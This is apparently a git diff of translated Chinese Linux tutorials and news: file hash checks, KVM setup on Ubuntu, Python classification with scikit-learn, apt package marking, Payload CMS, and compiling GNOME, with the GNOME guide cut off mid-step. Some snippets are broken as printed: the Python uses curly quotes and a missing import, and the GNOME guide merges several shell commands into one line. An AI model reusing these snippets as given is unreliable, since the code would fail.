+### 有没有其他方法可以在没有任何应用的情况下验证文件? + +是的,所有 Linux 发行版中都有一些内置程序,你还可以使用它们来使用终端验证文件及其完整性。 + +下面的终端程序可用于确定任何文件的哈希值。它们默认安装在所有发行版中,你甚至可以将它们用于你的 shell 脚本以实现自动化。 + +``` +md5sum <文件名> +``` + +``` +sha1sum <文件名> +``` + +``` +sha256sum <文件名> +``` + +使用上述程序,你可以找出哈希值。但是你需要比较它们以手动验证。 + +![Verify files via command-line utilities][12] + +### 结束语 + +我希望本指南可以帮助你使用 Collision GTK 应用验证你的文件。它使用起来很简单。此外,你可以在终端中使用命令行方法来验证您想要的任何文件。尽可能始终检查文件完整性总是应该的。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/05/collision/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/category/distributions +[2]: https://collision.geopjr.dev/ +[3]: https://www.debugpoint.com/wp-content/uploads/2022/05/Collision-First-Screen.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2022/05/Hash-values-of-a-test-file.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/05/Collision-verifies-a-sample-file-with-SHA-256.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/05/Collision-showing-that-a-file-is-not-valid.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2022/05/Ubuntu-server-ISO-file-and-checksums.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2022/05/SHA-256-valud-of-Ubuntu-server-ISO-image.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2022/05/Ubuntu-server-ISO-image-verified.jpg +[10]: https://flatpak.org/setup/ +[11]: https://dl.flathub.org/repo/appstream/dev.geopjr.Collision.flatpakref +[12]: https://www.debugpoint.com/wp-content/uploads/2022/05/Verify-files-via-command-line-utilities.jpg diff --git a/published/202206/20220524 How to Install KVM on Ubuntu 22.04 -Jammy Jellyfish-.md b/published/202206/20220524 How to Install KVM on Ubuntu 22.04 -Jammy Jellyfish-.md new file mode 100644 index 0000000000..c60fbf2e57 --- /dev/null +++ b/published/202206/20220524 How to Install KVM on Ubuntu 22.04 -Jammy Jellyfish-.md @@ -0,0 +1,264 @@ +[#]: subject: "How to Install KVM on Ubuntu 22.04 (Jammy Jellyfish)" +[#]: via: "https://www.linuxtechi.com/how-to-install-kvm-on-ubuntu-22-04/" +[#]: author: "James Kiarie https://www.linuxtechi.com/author/james/" +[#]: collector: "lkxed" +[#]: translator: "turbokernel" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14661-1.html" + +Ubuntu 22.04 之 KVM 安装手札 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/01/171619m6dd7bjb8292bbb9.jpg) + +**KVM** 是 基于内核的虚拟机Kernel-based Virtual Machine 的首字母缩写,这是一项集成在内核中的开源虚拟化技术。它是一种类型一(裸机)的管理程序hypervisor,可以使内核能够作为一个裸机管理程序bare-metal hypervisor。 + +在 KVM 之上可以运行 Windows 和 Liunx 虚拟机。每个虚拟机都独立于其它虚拟机和底层操作系统(宿主机系统),并拥有自己的 CPU、内存、网络接口、存储设备等计算资源。 + +本文将介绍在 Ubuntu 22.04 LTS(Jammy Jellyfish)中如何安装 KVM 。在文末,我们也将演示如何在安装 KVM 完成之后创建一台虚拟机。 + +### 1、更新 Ubuntu 22.04 + +在一切开始前,打开终端并通过如下命令更新本地的软件包索引: + +``` +$ sudo apt update +``` + +### 2、检查虚拟化是否开启 + +在进一步行动之前,首先需要检查你的 CPU 是否支持 KVM 虚拟化,确保你系统中有 VT-x( vmx)英特尔处理器或 AMD-V(svm)处理器。 + +你可以通过运行如下命令,如果输出值大于 0,那么虚拟化被启用。否则,虚拟化被禁用,你需要启用它: + +``` +$ egrep -c '(vmx|svm)' /proc/cpuinfo +``` + +![SVM-VMX-Flags-Cpuinfo-linux][1] + +根据上方命令输出,你可以推断出虚拟化功能已经启用,因为输出结果大于 0。如果虚拟化功能没有启用,请确保在系统的 BIOS 设置中启用虚拟化功能。 + +另外,你可以通过如下命令判断 KVM 虚拟化是否已经在运行: + +``` +$ kvm-ok +``` + +运行该命令之前,请确保你已经安装了 `cpu-checker` 软件包,否则将提示未找到该命令的报错。 + +直接就在下面,你会得到如何解决这个问题的指示,那就是安装 `cpu-checker` 包。 + +![KVM-OK-Command-Not-Found-Ubuntu][2] + +随后,通过如下命令安装 `cpu-checker` 软件包: + +``` +$ sudo apt install -y cpu-checker +``` + +接着再运行 `kvm-ok` 命令,如果 KVM 已经启动,你将看到如下输出: + +``` +$ kvm-ok +``` + +![KVM-OK-Command-Output][3] + +### 3、在 Ubuntu 22.04 上安装 KVM + +随后,通过如下命令在 Ubuntu 22.04 中安装 KVM 以及其他相关虚拟化软件包: + +``` +$ sudo apt install -y qemu-kvm virt-manager libvirt-daemon-system virtinst libvirt-clients bridge-utils +``` + +以下为你解释刚刚安装了哪些软件包: + +* `qemu-kvm` – 一个提供硬件仿真的开源仿真器和虚拟化包 +* `virt-manager` – 一款通过 libvirt 守护进程,基于 QT 的图形界面的虚拟机管理工具 +* `libvirt-daemon-system` – 为运行 libvirt 进程提供必要配置文件的工具 +* `virtinst` – 一套为置备和修改虚拟机提供的命令行工具 +* `libvirt-clients` – 一组客户端的库和API,用于从命令行管理和控制虚拟机和管理程序 +* `bridge-utils` – 一套用于创建和管理桥接设备的工具 + +### 4、启用虚拟化守护进程(libvirtd) + +在所有软件包安装完毕之后,通过如下命令启用并启动 libvirt 守护进程: + +``` +$ sudo systemctl enable --now libvirtd +$ sudo systemctl start libvirtd +``` + +你可以通过如下命令验证该虚拟化守护进程是否已经运行: + +``` +$ sudo systemctl status libvirtd +``` + +![Libvirtd-Status-Ubuntu-Linux][4] + +另外,请将当前登录用户加入 `kvm` 和 `libvirt` 用户组,以便能够创建和管理虚拟机。 + +``` +$ sudo usermod -aG kvm $USER +$ sudo usermod -aG libvirt $USER +``` + +`$USER` 环境变量引用的即为当前登录的用户名。你需要重新登录才能使得配置生效。 + +### 5、创建网桥(br0) + +如果你打算从本机(Ubuntu 22.04)之外访问 KVM 虚拟机,你必须将虚拟机的网卡映射至网桥。`virbr0` 网桥是 KVM 安装完成后自动创建的,仅做测试用途。 + +你可以通过如下内容在 `/etc/netplan` 目录下创建文件 `01-netcfg.yaml` 来新建网桥: + +``` +$ sudo vi /etc/netplan/01-netcfg.yaml +network: +  ethernets: +    enp0s3: +      dhcp4: false +      dhcp6: false +  # add configuration for bridge interface +  bridges: +    br0: +      interfaces: [enp0s3] +      dhcp4: false +      addresses: [192.168.1.162/24] +      macaddress: 08:00:27:4b:1d:45 +      routes: +        - to: default +          via: 192.168.1.1 +          metric: 100 +      nameservers: +        addresses: [4.2.2.2] +      parameters: +        stp: false +      dhcp6: false +  version: 2 +``` + +保存并退出文件。 + +注:上述文件的配置是我环境中的,请根据你实际环境替换 IP 地址、网口名称以及 MAC 地址。 + +你可以通过运行 `netplan apply` 命令应用上述变更。 + +``` +$ sudo netplan apply +``` + +你可以通过如下 `ip` 命令,验证网桥 `br0`: + +``` +$ ip add show +``` + +![Network-Bridge-br0-ubuntu-linux][5] + +### 6、启动 KVM 虚拟机管理器 + +当 KVM 安装完成后,你可以使用图形管理工具 `virt-manager` 创建虚拟机。你可以在 GNOME 搜索工具中搜索 `Virtual Machine Manager` 以启动。 + +点击搜索出来的图标即可: + +![Access-Virtual-Machine-Manager-Ubuntu-Linux][6] + +虚拟机管理器界面如下所示: + +![Virtual-Machine-Manager-Interface-Ubuntu-Linux][7] + +你可以点击 “文件File” 并选择 “新建虚拟机New Virtual Machine”。你也可以点击下图所示的图标: + +![New-Virtual-Machine-Icon-Virt-Manager][8] + +在弹出的虚拟机安装向导将看到如下四个选项: + +* 本地安装介质(ISO 镜像或 CDROM) +* 网络安装(HTTP、HTTPS 和 FTP) +* 导入现有磁盘镜像 +* 手动安装 + +本文使用已下载的 ISO 镜像,你可以选择自己的 ISO 镜像,选择第一个选项,并点击 “向前Forward”。 + +![Local-Install-Media-ISO-Virt-Manager][9] + +下一步中,点击 “浏览Browse” 选择 ISO 镜像位置。 + +![Browse-ISO-File-Virt-Manager-Ubuntu-Linux][10] + +在下一个窗口中点击 “浏览本地Browse local” 选取本机中 ISO 镜像。 + +![Browse-Local-ISO-Virt-Manager][11] + +如下所示,我们选择了 Debian 11 ISO 镜像,随后点击 “打开Open”。 + +![Choose-ISO-File-Virt-Manager][12] + +当 ISO 镜像选择后,点击 “向前Forward” 进入下一步。 + +![Forward-after-browsing-iso-file-virt-manager][13] + +接着定义虚拟机所用内存大小以及 CPU 核心数,并点击 “向前Forward” 。 + +![Virtual-Machine-RAM-CPU-Virt-Manager][14] + +下一步中,输入虚拟机磁盘空间,并点击 “向前Forward” 继续。 + +![Storage-for-Virtual-Machine-KVM-Virt-Manager][15] + +如你需要将虚拟机网卡连接至网桥,点击 “选择网络Network selection” 并选择 `br0` 网桥。 + +![Network-Selection-KVM-Virtual-Machine-Virt-Manager][16] + +最后,点击 “完成Finish” 按钮结束设置虚拟机。 + +![Choose-Finish-to-OS-Installation-KVM-VM][17] + +稍等片刻,虚拟机的创建过程将开始。 + +![Creating-Domain-Virtual-Machine-Virt-Manager][18] + +当创建结束时,虚拟机将开机并进入系统安装界面。如下是 Debian 11 的安装选项。在这里你可以根据需要进行系统安装。 + +![Virtual-Machine-Console-Virt-Manager][19] + +### 小结 + +至此,本文向你演示了如何在 Ubuntu 22.04 上 安装 KVM 虚拟化引擎。你的反馈对我们至关重要。 + +-------------------------------------------------------------------------------- + +via: https://www.linuxtechi.com/how-to-install-kvm-on-ubuntu-22-04/ + +作者:[James Kiarie][a] +选题:[lkxed][b] +译者:[turbokernel](https://github.com/turbokernel) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxtechi.com/author/james/ +[b]: https://github.com/lkxed +[1]: https://www.linuxtechi.com/wp-content/uploads/2022/05/SVM-VMX-Flags-Cpuinfo-linux.png +[2]: https://www.linuxtechi.com/wp-content/uploads/2022/05/KVM-OK-Command-Not-Found-Ubuntu.png +[3]: https://www.linuxtechi.com/wp-content/uploads/2022/05/KVM-OK-Command-Output.png +[4]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Libvirtd-Status-Ubuntu-Linux.png +[5]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Network-Bridge-br0-ubuntu-linux.png +[6]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Access-Virtual-Machine-Manager-Ubuntu-Linux.png +[7]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Virtual-Machine-Manager-Interface-Ubuntu-Linux.png +[8]: https://www.linuxtechi.com/wp-content/uploads/2022/05/New-Virtual-Machine-Icon-Virt-Manager.png +[9]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Local-Install-Media-ISO-Virt-Manager.png +[10]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Browse-ISO-File-Virt-Manager-Ubuntu-Linux.png +[11]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Browse-Local-ISO-Virt-Manager.png +[12]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Choose-ISO-File-Virt-Manager.png +[13]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Forward-after-browsing-iso-file-virt-manager.png +[14]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Virtual-Machine-RAM-CPU-Virt-Manager.png +[15]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Storage-for-Virtual-Machine-KVM-Virt-Manager.png +[16]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Network-Selection-KVM-Virtual-Machine-Virt-Manager.png +[17]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Choose-Finish-to-OS-Installation-KVM-VM.png +[18]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Creating-Domain-Virtual-Machine-Virt-Manager.png +[19]: https://www.linuxtechi.com/wp-content/uploads/2022/05/Virtual-Machine-Console-Virt-Manager.png diff --git a/published/202206/20220525 Machine Learning- Classification Using Python.md b/published/202206/20220525 Machine Learning- Classification Using Python.md new file mode 100644 index 0000000000..0ae672fac4 --- /dev/null +++ b/published/202206/20220525 Machine Learning- Classification Using Python.md @@ -0,0 +1,108 @@ +[#]: subject: "Machine Learning: Classification Using Python" +[#]: via: "https://www.opensourceforu.com/2022/05/machine-learning-classification-using-python/" +[#]: author: "Gayatri Venugopal https://www.opensourceforu.com/author/gayatri-venugopal/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "turbokernel" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14676-1.html" + +机器学习:使用 Python 进行分类 +====== + +> 机器学习(ML)就是,分析一组数据以预测结果。Python 被认为是 ML 的最佳编程语言选择之一。在本文中,我们将讨论使用 Python 进行分类的机器学习。 + +![machine-learning-classification][1] + +假设你想教孩子区分苹果和橙子。有多种方法可以做到这一点。你可以让孩子触摸这两种水果,让他们熟悉形状和柔软度。你还可以向她展示苹果和橙子的多个例子,以便他们可以直观地发现差异。这个过程的技术等价物被称为机器学习。 + +机器学习教计算机解决特定问题,并通过经验变得更好。这里讨论的示例是一个分类问题,其中机器被赋予各种标记示例,并期望使用它从标记样本中获得的知识来对未标记样本进行标记。机器学习问题也可以采用回归的形式,其中期望根据已知样本及其解决方案来预测给定问题的实值real-valued解决方案。分类Classification回归Regression被广泛称为监督学习supervised learning。机器学习也可以是无监督unsupervised的,机器识别未标记数据中的模式,并形成具有相似模式的样本集群。机器学习的另一种形式是强化学习reinforcement learning,机器通过犯错从环境中学习。 + +### 分类 + +分类是根据从已知点获得的信息来预测一组给定点的标签的过程。与一个数据集相关的类别或标签可以是二元的,也可以是多元的。举例来说,如果我们必须给与一个句子相关的情绪打上标签,我们可以把它标记为正面、负面或中性。另一方面,我们必须预测一个水果是苹果还是橘子的问题将有二元标签。表 1 给出了一个分类问题的样本数据集。 + +在该表中,最后一列的值,即贷款批准,预计将基于其他变量进行预测。在接下来的部分中,我们将学习如何使用 Python 训练和评估分类器。 + +| 年龄 | 信用等级 | 工作 | 拥有房产 | 贷款批准 | +| :- | :- | :- | :- | :- | +| 35 | 好 | 是 | 是 | 是 | +| 32 | 差 | 是 | 不 | 不 | +| 22 | 一般 | 不 | 不 | 不 | +| 42 | 好 | 是 | 不 | 是 | + +*表 1* + +### 训练和评估分类器 + +为了训练分类器classifier,我们需要一个包含标记示例的数据集。尽管本节不涉及清理数据的过程,但建议你在将数据集输入分类器之前阅读各种数据预处理和清理技术。为了在 Python 中处理数据集,我们将导入 `pandas` 包和数据帧DataFrame结构。然后,你可以从多种分类算法中进行选择,例如决策树decision tree支持向量分类器support vector classifier随机森林random forest、XG boost、ADA boost 等。我们将看看随机森林分类器,它是使用多个决策树形成的集成分类器。 + +``` +from sklearn.ensemble import RandomForestClassifier +from sklearn import metrics + +classifier = RandomForestClassifier() + +#creating a train-test split with a proportion of 70:30 +X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.33) + +classifier.fit(X_train, y_train) # 在训练集上训练分类器 + +y_pred = classifier.predict(X_test) # 用未知数据评估分类器 + +print("Accuracy: ", metrics.accuracy_score(y_test, y_pred)) # 用测试计划中的实际值比较准确率 +``` + +虽然这个程序使用准确性作为性能指标,但应该使用多种指标的组合,因为当测试集不平衡时,准确性往往会产生非代表性的结果。例如,如果模型对每条记录都给出了相同的预测,而用于测试模型的数据集是不平衡的,即数据集中的大多数记录与模型预测的类别相同,我们就会得到很高的准确率。 + +### 调整分类器 + +调优是指修改模型的超参数hyperparameter值以提高其性能的过程。超参数是可以改变其值以改进算法的学习过程的参数。 + +以下代码描述了随机搜索超参数调整。在此,我们定义了一个搜索空间,算法将从该搜索空间中选择不同的值,并选择产生最佳结果的那个: + +``` +from sklearn.model_selection import RandomizedSearchCV + +#define the search space +min_samples_split = [2, 5, 10] +min_samples_leaf = [1, 2, 4] +grid = {‘min_samples_split’ : min_samples_split, ‘min_samples_leaf’ : min_samples_leaf} + +classifier = RandomizedSearchCV(classifier, grid, n_iter = 100) + +# n_iter 代表从搜索空间提取的样本数 +# result.best_score 和 result.best_params_ 可以用来获得模型的最佳性能,以及参数的最佳值 + +classifier.fit(X_train, y_train) +``` + +### 投票分类器 + +你也可以使用多个分类器和它们的预测来创建一个模型,根据各个预测给出一个预测。这个过程(只考虑为每个预测投票的分类器的数量)被称为硬投票。软投票是一个过程,其中每个分类器产生一个给定记录属于特定类别的概率,而投票分类器产生的预测是获得最大概率的类别。 + +下面给出了一个创建软投票分类器的代码片段: + +``` +soft_voting_clf = VotingClassifier( +estimators=[(‘rf’, rf_clf), (‘ada’, ada_clf), (‘xgb’, xgb_clf), (‘et’, et_clf), (‘gb’, gb_clf)], +voting=’soft’) +soft_voting_clf.fit(X_train, y_train) +``` + +这篇文章总结了分类器的使用,调整分类器和结合多个分类器的结果的过程。请将此作为一个参考点,详细探讨每个领域。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/05/machine-learning-classification-using-python/ + +作者:[Gayatri Venugopal][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[turbokernel](https://github.com/turbokernel) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/gayatri-venugopal/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/04/machine-learning-classification.jpg diff --git a/published/202206/20220525 Package is -set to manually installed-- What does it Mean-.md b/published/202206/20220525 Package is -set to manually installed-- What does it Mean-.md new file mode 100644 index 0000000000..127e111531 --- /dev/null +++ b/published/202206/20220525 Package is -set to manually installed-- What does it Mean-.md @@ -0,0 +1,100 @@ +[#]: subject: "Package is “set to manually installed”? What does it Mean?" +[#]: via: "https://itsfoss.com/package-set-manually-installed/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14675-1.html" + +软件包 “被标记为手动安装”?这是什么意思? +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/05/154517uqnqdfi79yqidi79.jpg) + +如果你使用 `apt` 命令在终端中安装软件包,你将看到各种输出。 + +如果你注意并查看输出,有时你会注意到一条消息: + +``` +package_name set to manually installed +``` + +你有没有想过这条消息是什么意思,为什么你没有在所有包上看到它?让我在本篇中分享一些细节。 + +### 理解 “软件包被标记为手动安装” + +当你尝试安装已安装的库或开发包时,你会看到此消息。此依赖包是与另一个包一起自动安装的。如果删除了主包,则使用 `apt autoremove` 命令删除依赖包。 + +但是由于你试图显式安装依赖包,你的 Ubuntu 系统认为你需要这个包独立于主包。因此,该软件包被标记为手动安装,因此不会自动删除。 + +不是很清楚,对吧?以 [在 Ubuntu 上安装 VLC][1] 为例。 + +由于主 VLC 包依赖于许多其他包,因此这些包会自动安装。 + +![installing vlc with apt ubuntu][2] + +如果你检查名称中包含 `vlc` 的 [已安装软件包列表][3],你会看到除了 VLC,其余都标记为“自动”。这表明这些软件包是(跟着 vlc)自动安装的,当 VLC 被卸载时,它们将使用 `apt autoremove` 命令自动删除。 + +![list installed packages vlc ubuntu][4] + +现在假设你出于某种原因考虑安装 `vlc-plugin-base`。如果你在其上运行 `apt install` 命令,系统会告诉你该软件包已安装。同时,它将标记从自动更改为手动,因为系统认为在尝试手动安装表明你明确需要此 `vlc-plugin-base`。 + +![package set manually][5] + +可以看到它的状态已经从 `[installed,automatic]` 变成了 `[installed]`。 + +![listing installed packages with vlc][6] + +现在,让我删除 VLC 并运行 `autoremove` 命令。你可以看到 `vlc-plugin-base` 不在要删除的软件包列表中。 + +![autoremove vlc ubuntu][7] + +再次检查已安装软件包的列表。`vlc-plugin-base` 仍然安装在系统上。 + +![listing installed packages after removing vlc][8] + +你可以在这里看到另外两个与 VLC 相关的包。这些是 `vlc-plugin-base` 包的依赖项,这就是为什么它们也存在于系统上但标记为 `automatic` 的原因。 + +我相信现在有了这些例子,事情就更清楚了。让我给你一个额外的技巧。 + +### 将包重置为自动 + +如果包的状态从自动更改为手动,你可以通过以下方式将其设置回自动: + +``` +sudo apt-mark auto package_name +``` + +![set package to automatic][9] + +### 结论 + +这不是一个重大错误,也不会阻止你在系统中进行工作。但是,了解这些小事会增加你的知识。 + +**好奇心可能会害死猫,但它会让企鹅变得更聪明**。这是为这篇原本枯燥的文章增添幽默感的原始引述 : ) + +如果你想阅读更多这样的文章,这些文章可能看起来微不足道,但可以帮助你更好地了解您的 Linux 系统,请告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/package-set-manually-installed/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/install-latest-vlc/ +[2]: https://itsfoss.com/wp-content/uploads/2022/05/installing-vlc-with-apt-ubuntu-800x489.png +[3]: https://itsfoss.com/list-installed-packages-ubuntu/ +[4]: https://itsfoss.com/wp-content/uploads/2022/05/list-installed-packages-vlc-ubuntu-800x477.png +[5]: https://itsfoss.com/wp-content/uploads/2022/05/package-set-manually.png +[6]: https://itsfoss.com/wp-content/uploads/2022/05/listing-installed-packages-with-vlc.png +[7]: https://itsfoss.com/wp-content/uploads/2022/05/autoremove-vlc-ubuntu.png +[8]: https://itsfoss.com/wp-content/uploads/2022/05/listing-installed-packages-after-removing-vlc.png +[9]: https://itsfoss.com/wp-content/uploads/2022/05/set-package-to-automatic.png diff --git a/published/202206/20220527 TypeScript Based Headless CMS -Payload- Becomes Open Source.md b/published/202206/20220527 TypeScript Based Headless CMS -Payload- Becomes Open Source.md new file mode 100644 index 0000000000..6e41f831e1 --- /dev/null +++ b/published/202206/20220527 TypeScript Based Headless CMS -Payload- Becomes Open Source.md @@ -0,0 +1,80 @@ +[#]: subject: "TypeScript Based Headless CMS ‘Payload’ Becomes Open Source" +[#]: via: "https://news.itsfoss.com/payload-open-source/" +[#]: author: "Jacob Crume https://news.itsfoss.com/author/jacob/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14660-1.html" + +基于 TypeScript 的无头内容管理系统 “Payload” 现已开源 +====== + +> 开源的无头Headless内容管理系统(CMS)列表中添加了一个新选项。它会是一个更好的无头 WordPress 替代品吗? + +![Payload][1] + +自从一年多前发布首个测试版以来,作为无头内容管理系统(CMS),Payload 已经逐渐在 Web 开发社区中给人们留下了深刻印象。先做一些背景介绍,Payload 是专门为更简单地开发网站、Web 应用或原生native应用而量身定制的内容管理系统。 + +最近,他们决定完全开源,现在,它已跻身 [可用的最佳开源内容管理系统][2] 之一。 + +然而,这也带来了一些问题:他们会采用怎么样的商业模式?Payload 内容管理系统的计划是什么?下面,就让我们简要地看一下吧! + +### Payload 为什么要开源? + +自 2021 年首次发布以来,Payload 已经收到了来自开源社区的许多贡献。正如 Payload 在他们 [最近的公告][3] 中所说,开源是一个重要的决定,它能够使项目能够达到的更高的高度,这是闭门造车做不到的。 + +![][4] + +此外,这种开放性通常会增加开发者社区的信任。这种信任也会延伸到商业,自然而然地转而成为开发者最支持、最信任的平台。 + +因此,Payload 正在切换到 MIT 许可证。这将允许任何人免费且不受限制地修改、分发和使用 Payload。 + +然而,Payload 仍然需要资金流入才能持续运营。那么,这就引出了一个问题,Payload 将如何盈利呢? + +### Payload 将如何盈利? + +与往常一样,Payload 需要一些财务支持才能维持运营。团队拿出了一个由两部分组成的计划,该计划既要为用户提供更多 以便利为中心convenience-focused 的功能,又要为 自托管self-hosted 客户提供难以置信的灵活性。 + +![][5] + +#### 企业许可证 + +此选项与其他开源 CMS 的软件服务极为相似。这些许可证将提供更高级的 SSO 选项,并为开发者保证 Payload 核心团队的响应时间。 + +这些许可证应该对大公司有吸引力,尤其是那些需要最大程度可靠性的公司。 + +#### 云主机 + +这个选项非常有吸引力,因为它结合了多种服务来创造最方便的体验。尽管传统托管仍然相当容易,但只要你为 Node 应用程序添加数据库、持久文件存储和其他基础设施,你就会面对四五个不同的服务,而这些服务都需要无缝协同工作。 + +应该注意的是,这不是必需的,Payload 仍然鼓励用户托管他们的实例。这项服务只是消除了与托管相关的大量费用和挑战而已。 + +截至目前,事情还没有敲定。但是,你可以关注 [GitHub][6] 上的讨论来跟踪事情的进展。 + +### 总结 + +作为一个新兴的 CMS 选项,很高兴看到 Payload 迈出了这一步,成为 WordPress 和其他选项的流行替代品。此外,在我看来,Payload 团队对他们的新业务模式充满信心,或许这预示着一个光明的未来(希望如此)。 + +> **[Payload 内容管理系统][7]** + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/payload-open-source/ + +作者:[Jacob Crume][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/jacob/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/05/payload-opensource.jpg +[2]: https://itsfoss.com/open-source-cms/ +[3]: https://payloadcms.com/blog/open-source +[4]: https://news.itsfoss.com/wp-content/uploads/2022/05/payloadcms-demo.png +[5]: https://news.itsfoss.com/wp-content/uploads/2022/05/payload-free-opensource-1024x576.jpg +[6]: https://github.com/payloadcms/payload +[7]: https://payloadcms.com/ diff --git a/published/202206/20220529 Compile GNOME Shell and Apps From Source [Beginner-s Guide].md b/published/202206/20220529 Compile GNOME Shell and Apps From Source [Beginner-s Guide].md new file mode 100644 index 0000000000..5620f379f6 --- /dev/null +++ b/published/202206/20220529 Compile GNOME Shell and Apps From Source [Beginner-s Guide].md @@ -0,0 +1,161 @@ +[#]: subject: "Compile GNOME Shell and Apps From Source [Beginner’s Guide]" +[#]: via: "https://www.debugpoint.com/2022/05/compile-gnome-source/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14662-1.html" + +如何从源码编译 GNOME Shell 和应用 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/01/180518p98dt89wz7779tyb.jpg) + +> 这是一篇如何从源码编译 GNOME 的快速指南,包括 Shell、mutter 和一些原生应用。 + +在编译之前,你需要确保一些事情,因为以下编译直接来自 Gitlab 的主分支,其中包含一些开发包。 + +通常,你可以选择在任何 Linux 发行版中编译。但是我建议使用 Fedora Rawhide(Fedora 的开发分支,用于将来的发布)。 + +另外,请勿在稳定系统中尝试此操作。因为操作可能出错,所以你可能最终得到损坏的系统。 + +总而言之,你需要以下内容来从源码编译 GNOME。 + +* 测试环境([虚拟机][1] 或测试系统)。 +* Fedora Rawhide 发行版(推荐,[从此处下载][2])。 +* 确保你的发行版是最新的。 +* 你已登录 X.org 会话。 + +我不建议你在 Wayland 会话中进行编译,因为你会遇到问题。 + +### 从源码编译 GNOME + +GNOME 桌面是一个基于其功能的软件包集合。Linux 发行版的桌面组件工作于窗口管理器和 shell 之下。 + +因此,对于 GNOME,我将首先编译 mutter – 它是 GNOME Shell 的窗口管理器。然后进行 GNOME Shell 的编译。最后,我将编译一些原生应用。 + +我将使用 meson 构建系统进行编译。meson 是一个漂亮的构建系统,快速且用户友好。 + +#### 编译 mutter + +打开终端并安装 GNOME Shell 和 mutter 所需的软件包。 + +``` +sudo dnf build-dep mutter gnome-shell +``` + +在主目录(或你想要的任何地方)中创建演示目录。 + +``` +cd ~ +mkdir demo +cd demo +``` + +从 Gitlab 克隆 mutter 的主分支。 + +``` +git clone https://gitlab.gnome.org/GNOME/mutter +``` + +进入克隆目录,然后使用以下 `meson` 命令来准备构建文件。默认情况下,meson 使用 `/usr/local` 用于构建文件。但是,你也可以使用前缀开关将输出重定向到特定文件夹(如下所示)。 + +``` +cd mutter +meson _build --prefix=/usr +``` + +![Compile Mutter for GNOME][3] + +使用以下命令在构建完成时,将 mutter 安装在到系统中。 + +``` +sudo ninja install -C _build +``` + +#### 编译 GNOME Shell + +GNOME Shell 和其他软件包的编译方法类似。首先,从 GitLab 克隆 GNOME Shell 主仓库,然后进行编译和安装。你可以按照下面的命令依次进行。 + +在 GNOME Shell 中,你需要两个依赖项。它们是 [asciidoc][4] 和 [sassc][5] 。请在构建 GNOME Shell 之前安装它们。 + +``` +sudo dnf install asciidoc +sudo dnf install sassc +``` + +安装完这些依赖项后,按照下面的命令来构建和安装 GNOME Shell。在运行这个命令之前,请确保你回到 `demo` 文件夹(我在第一步创建的)。 + +``` +git clone https://gitlab.gnome.org/GNOME/gnome-shellcd gnome-shellmeson _build --prefix=/usrsudo ninja install -C _build +``` + +### 运行 GNOME Shell + +编译完成后,你可以尝试重新启动 GNOME Shell 来查看来自主分支的变化。 + +在重启之前,正如我之前提到的,确保你处于 X.Org 会话中。按 `ALT+F2` 并输入 